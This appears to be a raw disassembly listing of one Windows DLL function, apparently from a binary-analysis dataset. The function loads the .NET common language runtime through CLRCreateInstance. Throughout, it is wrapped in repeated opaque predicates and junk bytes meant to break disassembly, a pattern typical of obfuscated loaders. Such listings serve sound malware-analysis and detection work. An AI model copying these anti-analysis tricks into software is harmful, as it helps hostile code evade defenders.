Function at 0x10014d60
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c2dd
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x10082054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x94], edx
mov dword [ebp - 0xa8], ecx
lea eax, [ebp - 0x50]
mov dword [ebp - 4], 0
push eax
push 0x1007bccc
push 0x1007bce4
mov dword [ebp - 0x50], 0
call dword [sym.imp.mscoree.dll_CLRCreateInstance]
mov dword [ebp - 0x88], eax
call fcn.10002eb0
movsx esi, al
call fcn.10002680
movsx ecx, al
imul esi, ecx
mov dword [ebp - 0x84], esi
lea ecx, [esi*8]
sub ecx, esi
mov dword [ebp - 0xa0], ecx
call fcn.10002ee0
movsx edi, al
xor edx, edx
movsx eax, byte [0x10082ab9]
add ecx, edi
add eax, ecx
mov dword [ebp - 0xac], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
mov dword [ebp - 0x74], edi
sub eax, ecx
je 0x100150db
cmp dword [ebp - 0x88], 0
jge 0x10014e32
mov ecx, 1
xor edx, edx
jmp 0x10014e40
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10014e4f
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
lea ecx, [edi + eax*2]
mov dword [ebp - 0x78], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10014ef5
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10014ef5
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x10014f6e
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10014f68
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x10014f6e
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, edi
lea eax, [eax + esi*2]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x100150db
movsx ecx, byte [0x10082ab9]
lea eax, [esi + edi]
lea eax, [eax + esi*8]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10014fdb
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx + 0xf668875], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x78]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015065
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017bae
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x74]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100150ca
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x100150cd
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017bae
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 0x44]
push edx
push 0x1007bd84
mov dword [ebp - 0x44], 0
mov ecx, dword [eax]
push str.v4.0.30319
push eax
call dword [ecx + 0xc]
movsx ecx, byte [0x10082ab9]
xor edx, edx
mov dword [ebp - 0x88], eax
lea eax, [edi + esi*4]
mov dword [ebp - 0xbc], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015402
cmp dword [ebp - 0x88], 0
jge 0x1001513d
mov ecx, 1
xor edx, edx
jmp 0x1001514b
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x1001515a
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
add eax, eax
mov dword [ebp - 0xa4], eax
lea ecx, [eax + edi]
mov dword [ebp - 0x88], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001520b
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x1001520b
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x10015287
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015281
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x88]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x10015287
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx ecx, byte [0x10082ab9]
lea eax, [esi + edi]
lea eax, [eax + esi*8]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10015402
mov ecx, dword [ebp - 0xa4]
xor edx, edx
movsx eax, byte [0x10082ab9]
add ecx, edi
add eax, ecx
mov dword [ebp - 0x88], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x100152ff
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x874b], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x88]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001538c
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017bae
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x74]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100153f1
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x100153f4
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017bae
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
movsx ecx, byte [0x10082ab9]
xor edx, edx
mov dword [ebp - 0x88], eax
lea eax, [esi + edi]
mov dword [ebp - 0xb4], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100156fe
cmp dword [ebp - 0x88], 0
jl 0x10015460
cmp dword [ebp - 0x30], 0
je 0x10015460
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
jmp 0x10015467
mov ecx, 1
xor edx, edx
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10015476
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
lea ecx, [edi + eax*2]
mov dword [ebp - 0x70], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015519
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10015519
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
jmp 0x1001558c
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x78], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015583
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10015586
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x78]
lea ecx, [eax + edi]
xor edx, edx
movsx eax, byte [0x10082ab9]
add eax, ecx
mov dword [ebp - 0x88], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x100156fe
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xac]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x100155fd
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx + 0xf669075], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x70]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015687
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017bae
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x88]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100156ea
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x100156ed
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017bae
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x48]
push edx
push 0x1007bc04
mov dword [ebp - 0x48], 0
mov ecx, dword [eax]
push 0x1007bcbc
push eax
call dword [ecx + 0x24]
movsx ecx, byte [0x10082ab9]
xor edx, edx
mov dword [ebp - 0x88], eax
lea eax, [edi + esi*8]
mov dword [ebp - 0x9c], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015a0a
cmp dword [ebp - 0x88], 0
jge 0x10015760
mov ecx, 1
xor edx, edx
jmp 0x1001576e
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x1001577d
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
lea ecx, [edi + eax*2]
mov dword [ebp - 0x78], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015823
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10015823
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x1001589c
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015896
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x1001589c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx ecx, byte [0x10082ab9]
lea eax, [esi + edi]
lea eax, [eax + esi*2]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10015a0a
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xbc]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x1001590a
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx + 0xf668875], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x78]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015994
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017bae
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x74]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100159f9
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x100159fc
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017bae
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
movsx ecx, byte [0x10082ab9]
xor edx, edx
mov dword [ebp - 0x88], eax
lea eax, [edi + esi*4]
add eax, esi
mov dword [ebp - 0xac], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015cfe
cmp dword [ebp - 0x88], 0
jge 0x10015a59
mov ecx, 1
xor edx, edx
jmp 0x10015a67
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10015a76
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
lea ecx, [edi + eax*2]
mov dword [ebp - 0x78], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015b1c
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10015b1c
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x10015b95
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015b8f
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x10015b95
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10015cfe
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xb4]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10015bfe
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx + 0xf668875], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x78]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015c88
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017bae
movsx eax, byte [0x10082ab9]
xor edx, edx
mov edi, dword [ebp - 0x74]
add eax, edi
add eax, dword [ebp - 0x70]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015ced
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10015cf0
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017bae
mov esi, dword [ebp - 0x84]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
movsx ecx, byte [0x10082ab9]
xor edx, edx
mov dword [ebp - 0x88], eax
lea eax, [edi + esi*2]
mov dword [ebp - 0x68], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016022
cmp dword [ebp - 0x88], 0
jge 0x10015d57
mov ecx, 1
xor edx, edx
jmp 0x10015d6e
xorps xmm0, xmm0
movlpd qword [ebp - 0x8c], xmm0
mov edx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x8c]
call fcn.1006bd80
movsd qword [ebp - 0x8c], xmm0
xor eax, eax
je 0x10015d80
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
